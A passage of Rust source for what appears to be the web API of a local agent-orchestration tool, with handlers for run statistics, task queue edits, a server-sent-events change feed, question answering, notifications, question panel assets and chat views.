5731#[derive(Debug, Default, Deserialize)]
5740#[serde(default)]
5741struct StatsQuery {
5742 repo: Option<String>,
5743 all: bool,
5745}
5746
5747async fn stats_get(
5754 State(ui): State<Arc<Ui>>,
5755 Query(q): Query<StatsQuery>,
5756) -> ApiResult<Json<StatsView>> {
5757 blocking(move || {
5758 let states: Vec<RunState> = run_ids(&ui.runs)
5759 .into_iter()
5760 .filter_map(|id| read_run(&ui.runs, &id).ok())
5761 .collect();
5762 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5763 .iter()
5764 .map(RepoSummaryView::from)
5765 .collect();
5766 let mut scoped: Vec<&RunState> = states.iter().collect();
5767 let mut collected = match &q.repo {
5768 Some(repo) => {
5769 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5770 if filtered.is_empty() {
5771 return Err(ApiError::not_found(format!(
5772 "no runs recorded against repo `{repo}`"
5773 )));
5774 }
5775 scoped = filtered.clone();
5776 stats::collect_refs(filtered)
5777 }
5778 None => stats::collect(&states),
5779 };
5780 if !q.all {
5781 let repo = q
5782 .repo
5783 .as_deref()
5784 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5785 stats::retain_current_roster(&mut collected, &repo);
5786 }
5787 let daily = stats::daily(
5788 scoped,
5789 jiff::Zoned::now().date(),
5790 &jiff::tz::TimeZone::system(),
5791 STATS_DAILY_DAYS,
5792 );
5793 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5794 Ok(Json(StatsView {
5795 totals: StatsTotalsView::from(&collected.totals),
5796 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5797 reviewers: collected
5798 .reviewers
5799 .iter()
5800 .map(ReviewerStatsView::from)
5801 .collect(),
5802 advisors: collected
5803 .advisors
5804 .iter()
5805 .map(AdvisorStatsView::from)
5806 .collect(),
5807 e2e: E2eStatsView::from(&collected.e2e),
5808 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5809 queue: TaskCountsView::from(queue_counts),
5810 runs_unreadable: runs_unreadable(&ui.runs),
5811 repos,
5812 daily: daily.iter().map(DailyStatsView::from).collect(),
5813 repo: q.repo.clone(),
5814 retired_hidden: collected.retired_hidden.clone(),
5815 }))
5816 })
5817 .await
5818}
5819
5820#[derive(Debug, Default, Deserialize)]
5823#[serde(default, deny_unknown_fields)]
5824struct HoldBody {
5825 reason: Option<String>,
5826}
5827
5828async fn queue_hold(
5829 State(ui): State<Arc<Ui>>,
5830 Path(id): Path<String>,
5831 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5832) -> ApiResult<Json<TaskView>> {
5833 let body = match body {
5837 Ok(Json(body)) => body,
5838 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5839 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5840 };
5841 let reason = body.reason.filter(|r| !r.trim().is_empty());
5842 mutate(ui, id, move |t| {
5843 t.hold_manual(reason.clone());
5844 Ok(())
5845 })
5846 .await
5847}
5848
5849async fn queue_release(
5850 State(ui): State<Arc<Ui>>,
5851 Path(id): Path<String>,
5852) -> ApiResult<Json<TaskView>> {
5853 mutate(ui, id, |t| {
5854 t.release();
5855 Ok(())
5856 })
5857 .await
5858}
5859
5860#[derive(Debug, Deserialize)]
5861#[serde(deny_unknown_fields)]
5862struct ImplementersBody {
5863 implementers: u8,
5864}
5865
5866async fn queue_implementers(
5867 State(ui): State<Arc<Ui>>,
5868 Path(id): Path<String>,
5869 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5870) -> ApiResult<Json<TaskView>> {
5871 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5872 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5873}
5874
5875#[derive(Debug, Deserialize)]
5877#[serde(deny_unknown_fields)]
5878struct PriorityBody {
5879 priority: i32,
5880}
5881
5882async fn queue_priority(
5888 State(ui): State<Arc<Ui>>,
5889 Path(id): Path<String>,
5890 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5891) -> ApiResult<Json<TaskView>> {
5892 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5893 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5894}
5895
5896#[derive(Debug, Deserialize)]
5898#[serde(deny_unknown_fields)]
5899struct EditBody {
5900 title: String,
5901 instruction: String,
5902 #[serde(default)]
5905 force: bool,
5906}
5907
5908async fn queue_edit(
5912 State(ui): State<Arc<Ui>>,
5913 Path(id): Path<String>,
5914 body: std::result::Result<Json<EditBody>, JsonRejection>,
5915) -> ApiResult<Json<TaskView>> {
5916 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5917 let mut judged: Option<(String, PathBuf)> = None;
5921 if !body.force {
5922 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5923 let (id, text) = (id.clone(), body.instruction.clone());
5924 let (seen, hits) = blocking(move || {
5925 let id = resolve_task(&queue, &id)?;
5926 let t = queue.get(&id)?;
5927 if text == t.instruction {
5928 return Ok((None, Vec::new()));
5929 }
5930 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5931 Ok((Some((t.instruction, t.repo)), hits))
5932 })
5933 .await?;
5934 if let Some((_, repo)) = &seen {
5935 let cfg = crate::config::Config::discover(repo, None)
5936 .ok()
5937 .map(|(c, _)| c);
5938 let screened =
5939 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5940 .await
5941 .map_err(|dup| {
5942 ApiError::conflict(dup.render(
5943 "Nothing was saved. If it is not a duplicate, repeat the request \
5944 with \"force\": true.",
5945 ))
5946 })?;
5947 if let crate::dupes::Screened::Unjudged(why) = screened {
5948 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5949 }
5950 }
5951 judged = seen;
5952 }
5953 let force = body.force;
5954 mutate(ui, id, move |t| {
5955 if !force && body.instruction != t.instruction {
5956 match &judged {
5957 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5958 _ => {
5959 anyhow::bail!("the task changed while it was being checked; repeat the request")
5960 }
5961 }
5962 }
5963 t.edit(body.title.clone(), body.instruction.clone())
5964 })
5965 .await
5966}
5967
5968async fn queue_done(
5976 State(ui): State<Arc<Ui>>,
5977 Path(id): Path<String>,
5978) -> ApiResult<Json<TaskView>> {
5979 let home = ui.home.clone();
5980 mutate(ui, id, move |t| {
5981 t.succeed();
5982 crate::daemon::supersede_prior_runs(t, &home);
5990 Ok(())
5991 })
5992 .await
5993}
5994
5995async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6003 blocking(move || {
6004 let id = resolve_task(&ui.queue, &id)?;
6005 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6006 ui.queue
6007 .remove(&id, in_flight, &ui.questions)
6008 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6009 Ok(StatusCode::NO_CONTENT)
6010 })
6011 .await
6012}
6013
6014async fn mutate(
6023 ui: Arc<Ui>,
6024 id: String,
6025 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6026) -> ApiResult<Json<TaskView>> {
6027 blocking(move || {
6028 let id = resolve_task(&ui.queue, &id)?;
6029 let _claim = ui.queue.claim(&id).map_err(|e| {
6034 ApiError::conflict(format!(
6035 "{e:#} - a daemon is running this task, so it cannot be \
6036 changed from here yet"
6037 ))
6038 })?;
6039 let mut task = ui.queue.get(&id)?;
6040 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6041 Ok(dup) => ApiError::conflict(dup.render(
6042 "Nothing was saved. If it is not a duplicate, repeat the request with \
6043 \"force\": true.",
6044 )),
6045 Err(e) => ApiError::bad_request_from(e),
6046 })?;
6047 ui.queue.put(&mut task)?;
6048 Ok(Json(TaskView::from(task)))
6049 })
6050 .await
6051}
6052
6053async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6061 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6062 tokio::spawn(async move {
6063 let mut ticker = tokio::time::interval(POLL);
6064 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6065 let mut stamps: Option<[Stamps; 3]> = None;
6066 loop {
6067 ticker.tick().await;
6070 let state = Arc::clone(&ui);
6071 let revisions = tokio::task::spawn_blocking(move || {
6072 let stamps = [
6073 store_stamps(state.queue.root(), false),
6074 store_stamps(&state.runs, true),
6075 store_stamps(state.talks.root(), false),
6076 ];
6077 let revisions = (
6078 stamps_revision(&stamps[0]),
6079 stamps_revision(&stamps[1]),
6080 state.questions.revision(),
6081 stamps_revision(&stamps[2]),
6082 state.notices.revision(),
6083 state.lock_loop().rev,
6087 );
6088 (revisions, stamps)
6089 })
6090 .await;
6091 let Ok((revisions, next_stamps)) = revisions else {
6092 break;
6093 };
6094 if last == Some(revisions) {
6095 continue;
6096 }
6097 let mut payload = serde_json::json!({
6098 "queue_rev": revisions.0,
6099 "runs_rev": revisions.1,
6100 "questions_rev": revisions.2,
6101 "talks_rev": revisions.3,
6102 "notifications_rev": revisions.4,
6103 "loop_rev": revisions.5,
6104 });
6105 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6106 for (index, (key, rev)) in [
6107 ("queue_delta", base.0),
6108 ("runs_delta", base.1),
6109 ("talks_delta", base.3),
6110 ]
6111 .into_iter()
6112 .enumerate()
6113 {
6114 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6115 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6117 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6118 }
6119 }
6120 }
6121 last = Some(revisions);
6122 stamps = Some(next_stamps);
6123 let Ok(event) = Event::default().event("change").json_data(payload) else {
6125 break;
6126 };
6127 if tx.send(event).await.is_err() {
6128 break;
6129 }
6130 }
6131 });
6132 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6133 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6134}
6135
6136type Stamps = HashMap<String, (u128, u64)>;
6137
6138fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6140 std::fs::read_dir(root)
6141 .into_iter()
6142 .flatten()
6143 .flatten()
6144 .filter_map(|entry| {
6145 let path = if runs {
6146 entry.path().join("run.json")
6147 } else {
6148 entry.path()
6149 };
6150 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6151 return None;
6152 }
6153 let metadata = path.metadata().ok()?;
6154 let modified = metadata
6155 .modified()
6156 .ok()?
6157 .duration_since(std::time::UNIX_EPOCH)
6158 .ok()?;
6159 let id = if runs {
6160 entry.file_name().to_string_lossy().into_owned()
6161 } else {
6162 path.file_stem()?.to_string_lossy().into_owned()
6163 };
6164 Some((id, (modified.as_nanos(), metadata.len())))
6165 })
6166 .collect()
6167}
6168
6169#[derive(Debug, Serialize)]
6170struct Delta {
6171 base: u64,
6172 changed: Vec<String>,
6173 removed: Vec<String>,
6174}
6175
6176fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6177 let mut changed: Vec<_> = next
6178 .iter()
6179 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6180 .map(|(id, _)| id.clone())
6181 .collect();
6182 let mut removed: Vec<_> = previous
6183 .keys()
6184 .filter(|id| !next.contains_key(*id))
6185 .cloned()
6186 .collect();
6187 changed.sort_unstable();
6188 removed.sort_unstable();
6189 Delta {
6190 base,
6191 changed,
6192 removed,
6193 }
6194}
6195
6196fn runs_revision(runs: &FsPath) -> u64 {
6203 stamps_revision(&store_stamps(runs, true))
6204}
6205
6206fn stamps_revision(stamps: &Stamps) -> u64 {
6210 use std::hash::{Hash as _, Hasher as _};
6211 if stamps.is_empty() {
6212 return 0;
6213 }
6214 let mut entries: Vec<_> = stamps.iter().collect();
6215 entries.sort_unstable();
6216 let mut hasher = std::hash::DefaultHasher::new();
6217 entries.hash(&mut hasher);
6218 hasher.finish().max(1)
6219}
6220
6221fn run_ids(runs: &FsPath) -> Vec<String> {
6227 let mut ids: Vec<String> = std::fs::read_dir(runs)
6228 .into_iter()
6229 .flatten()
6230 .flatten()
6231 .filter(|e| e.path().join("run.json").is_file())
6232 .map(|e| e.file_name().to_string_lossy().into_owned())
6233 .collect();
6234 ids.sort_unstable_by(|a, b| b.cmp(a));
6236 ids
6237}
6238
6239fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6241 let path = runs.join(id).join("run.json");
6242 let body =
6243 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6244 let state: RunState =
6245 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6246 run::migrate_schema(state)
6251}
6252
6253#[must_use]
6261pub fn runs_unreadable(runs: &FsPath) -> usize {
6262 run_ids(runs)
6263 .into_iter()
6264 .filter(|id| read_run(runs, id).is_err())
6265 .count()
6266}
6267
6268fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6270 if runs.join(id).join("run.json").is_file() {
6271 return Ok(id.to_owned());
6272 }
6273 pick(run_ids(runs), id, "run")
6274}
6275
6276fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6278 if queue.path_of(id).is_file() {
6279 return Ok(id.to_owned());
6280 }
6281 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6282}
6283
6284#[derive(Debug, Serialize)]
6295struct QuestionView {
6296 #[serde(flatten)]
6297 question: Question,
6298 detail_md: Vec<md::Node>,
6299 posting_view: Option<PostingView>,
6300 thread_bodies_md: Vec<Vec<md::Node>>,
6302 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6305 waiting_on_agent: bool,
6315 holder: Option<&'static str>,
6319 deputies_enabled: bool,
6323 run_is_task: bool,
6326 origin_chat: Option<String>,
6331 origin_chat_closed: bool,
6333}
6334
6335#[derive(Debug, Serialize)]
6336struct PostingView {
6337 before_md: Vec<md::Node>,
6338 after_md: Vec<md::Node>,
6339 fields: Vec<crate::github_text::ComparisonView>,
6340}
6341
6342fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6343 let comparison = question.posting_comparison.as_ref()?;
6344 if !comparison.matches_detail(&question.detail) {
6345 return None;
6346 }
6347 let mut ids = std::collections::BTreeSet::new();
6348 if comparison.fields.is_empty()
6349 || comparison
6350 .fields
6351 .iter()
6352 .flat_map(|f| &f.pairs)
6353 .any(|p| !ids.insert(p.id))
6354 || comparison
6355 .fields
6356 .iter()
6357 .flat_map(|f| &f.original_triggers)
6358 .any(|t| !ids.insert(t.id))
6359 {
6360 return None;
6361 }
6362 let fields = comparison
6363 .fields
6364 .iter()
6365 .map(|f| f.view(comparison.excerpt))
6366 .collect::<Option<Vec<_>>>()?;
6367 Some(PostingView {
6368 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6369 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6370 fields,
6371 })
6372}
6373
6374impl QuestionView {
6375 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6379 let base = md::ImageBase::QuestionPanel {
6380 id: question.id.clone(),
6381 };
6382 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6383 Self {
6384 detail_md: md::to_nodes(&question.detail, &base),
6385 posting_view: posting_view(&question, &base),
6386 thread_bodies_md: question
6387 .thread
6388 .iter()
6389 .map(|t| md::to_nodes(&t.body, &base))
6390 .collect(),
6391 thread_notes_md: question
6392 .thread
6393 .iter()
6394 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6395 .collect(),
6396 waiting_on_agent: question.waiting_on_agent(),
6397 holder,
6398 deputies_enabled,
6399 run_is_task: question.run_names_task(),
6400 origin_chat: None,
6401 origin_chat_closed: false,
6402 question,
6403 }
6404 }
6405
6406 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6408 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6409 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6410 self.origin_chat = talk.map(|t| t.id);
6411 self
6412 }
6413}
6414
6415fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6419 Config::discover(repo, None).ok().map(|(c, _)| c)
6420}
6421
6422fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6424 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6425}
6426
6427fn question_views(
6430 qs: Vec<Question>,
6431 store: &ask::Questions,
6432 load: impl FnOnce() -> Option<Config>,
6433) -> Vec<QuestionView> {
6434 if qs.is_empty() {
6435 return Vec::new();
6436 }
6437 let cfg = load();
6438 qs.into_iter()
6439 .map(|q| {
6440 let on = deputies_enabled(cfg.as_ref(), &q);
6441 QuestionView::of(q, store, on)
6442 })
6443 .collect()
6444}
6445
6446fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6456 if !q.status.open() {
6457 return None;
6458 }
6459 if q.cwd.is_none() && q.deputy.is_none() {
6460 return crate::deputy::kind_of(q).map(|_| "nobody");
6461 }
6462 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6463 Some(_) if q.deputy.is_some() => "deputy",
6464 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6465 Some(_) => "asker",
6466 None => "nobody",
6467 })
6468}
6469
6470async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6476 blocking(move || {
6477 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6478 Ok(Json(
6479 question_views(ui.questions.list(), &ui.questions, || {
6480 deputy_config(&ui.repo)
6481 })
6482 .into_iter()
6483 .map(|v| v.with_origin(&tasks, &talks))
6484 .collect(),
6485 ))
6486 })
6487 .await
6488}
6489
6490async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6493 blocking(move || {
6494 let items = ui.notices.list();
6495 let unread = items.iter().filter(|n| n.unread()).count();
6496 Ok(Json(
6497 serde_json::json!({ "unread": unread, "items": items }),
6498 ))
6499 })
6500 .await
6501}
6502
6503fn notice_error(e: anyhow::Error) -> ApiError {
6504 ApiError::not_found(format!("{e:#}"))
6507}
6508
6509async fn notification_read(
6511 State(ui): State<Arc<Ui>>,
6512 Path(id): Path<String>,
6513) -> ApiResult<Json<Notice>> {
6514 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6515}
6516
6517async fn notification_dismiss(
6519 State(ui): State<Arc<Ui>>,
6520 Path(id): Path<String>,
6521) -> ApiResult<Json<Notice>> {
6522 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6523}
6524
6525async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6527 blocking(move || {
6528 let changed = ui.notices.mark_all_read()?;
6529 Ok(Json(serde_json::json!({ "marked": changed })))
6530 })
6531 .await
6532}
6533
6534#[derive(Debug, Default, Deserialize)]
6540#[serde(default, deny_unknown_fields)]
6541struct NewAnswer {
6542 choice: Option<String>,
6543 text: Option<String>,
6544}
6545
6546async fn question_answer(
6547 State(ui): State<Arc<Ui>>,
6548 Path(id): Path<String>,
6549 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6550) -> ApiResult<Json<QuestionView>> {
6551 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6552 let answer = match (body.choice, body.text) {
6553 (Some(c), None) => Answer::Choice(c),
6554 (None, Some(t)) => Answer::Text(t),
6555 (Some(_), Some(_)) => {
6556 return Err(ApiError::bad_request(
6557 "send either `choice` or `text`, not both",
6558 ));
6559 }
6560 (None, None) => {
6561 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6562 }
6563 };
6564
6565 blocking(move || {
6566 let id = resolve_question(&ui.questions, &id)?;
6567 let q = ui
6568 .questions
6569 .get(&id)
6570 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6571 if !q.status.open() {
6572 return Err(ApiError::conflict(format!(
6576 "question {} is already {}",
6577 q.short(),
6578 q.status.as_str()
6579 )));
6580 }
6581 let (q, ()) = ui
6585 .questions
6586 .update(&q.id, |r| r.answer(answer))
6587 .map_err(ApiError::bad_request_from)?;
6588 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6589 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6590 Ok(Json(
6591 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6592 ))
6593 })
6594 .await
6595}
6596
6597#[derive(Debug, Deserialize)]
6599#[serde(deny_unknown_fields)]
6600struct NewSay {
6601 body: String,
6602}
6603
6604async fn question_say(
6614 State(ui): State<Arc<Ui>>,
6615 Path(id): Path<String>,
6616 body: std::result::Result<Json<NewSay>, JsonRejection>,
6617) -> ApiResult<Json<QuestionView>> {
6618 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6619 blocking(move || {
6620 let id = resolve_question(&ui.questions, &id)?;
6621 let q = ui
6622 .questions
6623 .get(&id)
6624 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6625 if !q.status.open() {
6626 return Err(ApiError::conflict(format!(
6630 "question {} is already {}",
6631 q.short(),
6632 q.status.as_str()
6633 )));
6634 }
6635 let (q, ()) = ui
6638 .questions
6639 .update(&q.id, |r| r.say(body.body))
6640 .map_err(ApiError::bad_request_from)?;
6641 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6642 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6643 Ok(Json(
6644 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6645 ))
6646 })
6647 .await
6648}
6649
6650async fn question_consult(
6659 State(ui): State<Arc<Ui>>,
6660 Path(id): Path<String>,
6661) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6662 let (view, reclaimed) = blocking({
6663 let ui = Arc::clone(&ui);
6664 move || {
6665 let id = resolve_question(&ui.questions, &id)?;
6666 let q = ui
6667 .questions
6668 .get(&id)
6669 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6670 if !q.status.open() {
6671 return Err(ApiError::conflict(format!(
6672 "question {} is already {}",
6673 q.short(),
6674 q.status.as_str()
6675 )));
6676 }
6677 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6678 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6679 return Err(ApiError::conflict(format!(
6680 "question {} has no chat to ask",
6681 q.short()
6682 )));
6683 };
6684 let cfg = if q.consult.is_none() {
6688 Some(Config::discover(&talk.repo, None)?.0)
6689 } else {
6690 None
6691 };
6692 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6693 let claim = if fresh {
6694 match ui.begin_queued_talk_turn(&talk.id)? {
6695 Some(turn_guard) => {
6696 let talk = ui.talks.get(&talk.id)?;
6697 let cfg = match cfg {
6698 Some(cfg) => cfg,
6699 None => Config::discover(&talk.repo, None)?.0,
6700 };
6701 Some((talk, cfg, turn_guard))
6702 }
6703 None => None,
6704 }
6705 } else {
6706 None
6707 };
6708 let q = ui.questions.get(&q.id)?;
6709 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6710 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6711 Ok((view, claim))
6712 }
6713 })
6714 .await?;
6715 if let Some((talk, cfg, turn_guard)) = reclaimed {
6716 let talks = ui.talks.clone();
6717 let id = talk.id.clone();
6718 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6719 }
6720 Ok((StatusCode::ACCEPTED, Json(view)))
6721}
6722
6723fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6725 if store.path_of(id).is_file() {
6726 return Ok(id.to_owned());
6727 }
6728 pick(
6729 store.list().into_iter().map(|q| q.id).collect(),
6730 id,
6731 "question",
6732 )
6733}
6734
6735async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6750 blocking(move || {
6751 let id = resolve_question(&ui.questions, &id)?;
6752 let Some(html) = ui.questions.panel_html(&id) else {
6753 return Err(ApiError::not_found(format!("question {id} has no panel")));
6754 };
6755 Ok(panel_response(
6756 "text/html; charset=utf-8",
6757 false,
6758 html.into_bytes(),
6759 ))
6760 })
6761 .await
6762}
6763
6764async fn question_asset(
6792 State(ui): State<Arc<Ui>>,
6793 Path((id, name)): Path<(String, String)>,
6794) -> ApiResult<Response> {
6795 if !crate::ask::valid_asset_name(&name) {
6798 return Err(ApiError::bad_request(format!(
6799 "`{name}` is not a usable asset name"
6800 )));
6801 }
6802 blocking(move || {
6803 let id = resolve_question(&ui.questions, &id)?;
6804 let asset = ui
6805 .questions
6806 .panel_asset(&id, &name)
6807 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6808 let Some(bytes) = asset else {
6809 return Err(ApiError::not_found(format!(
6810 "question {id} has no asset `{name}`"
6811 )));
6812 };
6813 Ok(panel_response(
6814 asset_content_type(&name),
6815 is_svg(&name),
6816 bytes,
6817 ))
6818 })
6819 .await
6820}
6821
6822fn asset_content_type(name: &str) -> &'static str {
6835 match extension(name).as_deref() {
6836 Some("png") => "image/png",
6837 Some("jpg" | "jpeg") => "image/jpeg",
6838 Some("gif") => "image/gif",
6839 Some("webp") => "image/webp",
6840 Some("svg") => "image/svg+xml",
6841 Some("css") => "text/css; charset=utf-8",
6842 Some("txt") => "text/plain; charset=utf-8",
6843 _ => "application/octet-stream",
6844 }
6845}
6846
6847fn is_svg(name: &str) -> bool {
6850 extension(name).as_deref() == Some("svg")
6851}
6852
6853fn extension(name: &str) -> Option<String> {
6855 name.rsplit_once('.')
6856 .map(|(_, ext)| ext.to_ascii_lowercase())
6857}
6858
6859fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6876 let mut res = (
6877 [
6878 (header::CONTENT_TYPE, content_type),
6879 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6880 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6881 (header::REFERRER_POLICY, "no-referrer"),
6882 ],
6883 body,
6884 )
6885 .into_response();
6886 if download {
6887 res.headers_mut().insert(
6888 header::CONTENT_DISPOSITION,
6889 HeaderValue::from_static("attachment"),
6890 );
6891 }
6892 res
6893}
6894
6895#[derive(Debug, Serialize)]
6901struct TalkView {
6902 #[serde(flatten)]
6903 talk: Talk,
6904 turn_bodies_md: Vec<Vec<md::Node>>,
6905 thinking: bool,
6913 context: talk::ContextUsage,
6917 operator_name: Option<String>,
6920 persona_name: Option<String>,
6922 persona_avatar: String,
6925 operator_avatar: String,
6927}
6928
6929impl TalkView {
6930 fn new(talk: Talk, thinking: bool) -> Self {
6933 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6934 Self::with_config(talk, thinking, cfg.as_ref())
6935 }
6936
6937 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6940 let context = talk::context_usage(&talk, cfg);
6941 let turn_bodies_md = talk
6942 .turns
6943 .iter()
6944 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6945 .collect();
6946 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6947 let persona_name = persona::find(specs, &talk.persona)
6948 .filter(|p| !p.is_default())
6949 .map(|p| p.name);
6950 let persona_avatar = avatar_url(
6951 &talk.id,
6952 &persona::find(specs, &talk.persona)
6953 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6954 );
6955 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6956 Self {
6957 turn_bodies_md,
6958 thinking,
6959 context,
6960 operator_name,
6961 persona_name,
6962 persona_avatar,
6963 operator_avatar: format!(
6964 "/avatars/operator.svg?v={}",
6965 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6966 ),
6967 talk,
6968 }
6969 }
6970}
6971
6972#[derive(Debug, Serialize)]
6977struct TalkDetailView {
6978 #[serde(flatten)]
6979 view: TalkView,
6980 tasks: Vec<TaskView>,
6981 roster: Vec<RosterEntry>,
6984 personas: Vec<PersonaEntry>,
6987}
6988
6989#[derive(Debug, Serialize)]
6991struct PersonaEntry {
6992 id: String,
6993 name: String,
6994 avatar: String,
6996}
6997
6998#[derive(Debug, Serialize)]
7000struct RosterEntry {
7001 id: String,
7002 kind: AgentKind,
7003 runnable: bool,
7005}
7006
7007async fn talks_list(
7012 State(ui): State<Arc<Ui>>,
7013 Query(q): Query<ListQuery>,
7014) -> ApiResult<Json<Vec<TalkView>>> {
7015 blocking(move || {
7016 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7017 Ok(Json(
7018 ui.talks
7019 .list()
7020 .into_iter()
7021 .filter(|talk| q.contains(&talk.id))
7022 .map(|talk| {
7023 let thinking = ui.is_thinking(&talk.id);
7024 let cfg = configs
7025 .entry(talk.repo.clone())
7026 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7027 TalkView::with_config(talk, thinking, cfg.as_ref())
7028 })
7029 .collect(),
7030 ))
7031 })
7032 .await
7033}
7034
7035#[derive(Debug, Default, Deserialize)]
7040#[serde(default)]
7041struct NewTalk {
7042 agent: Option<String>,
7043 repo: Option<PathBuf>,
7044 preferred_agent: Option<serde_json::Value>,
7048 persona: Option<serde_json::Value>,
7049 implementers: Option<serde_json::Value>,
7050}
7051
7052async fn talk_post(
7055 State(ui): State<Arc<Ui>>,
7056 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7057) -> ApiResult<impl IntoResponse> {
7058 let body = match body {
7062 Ok(Json(body)) => body,
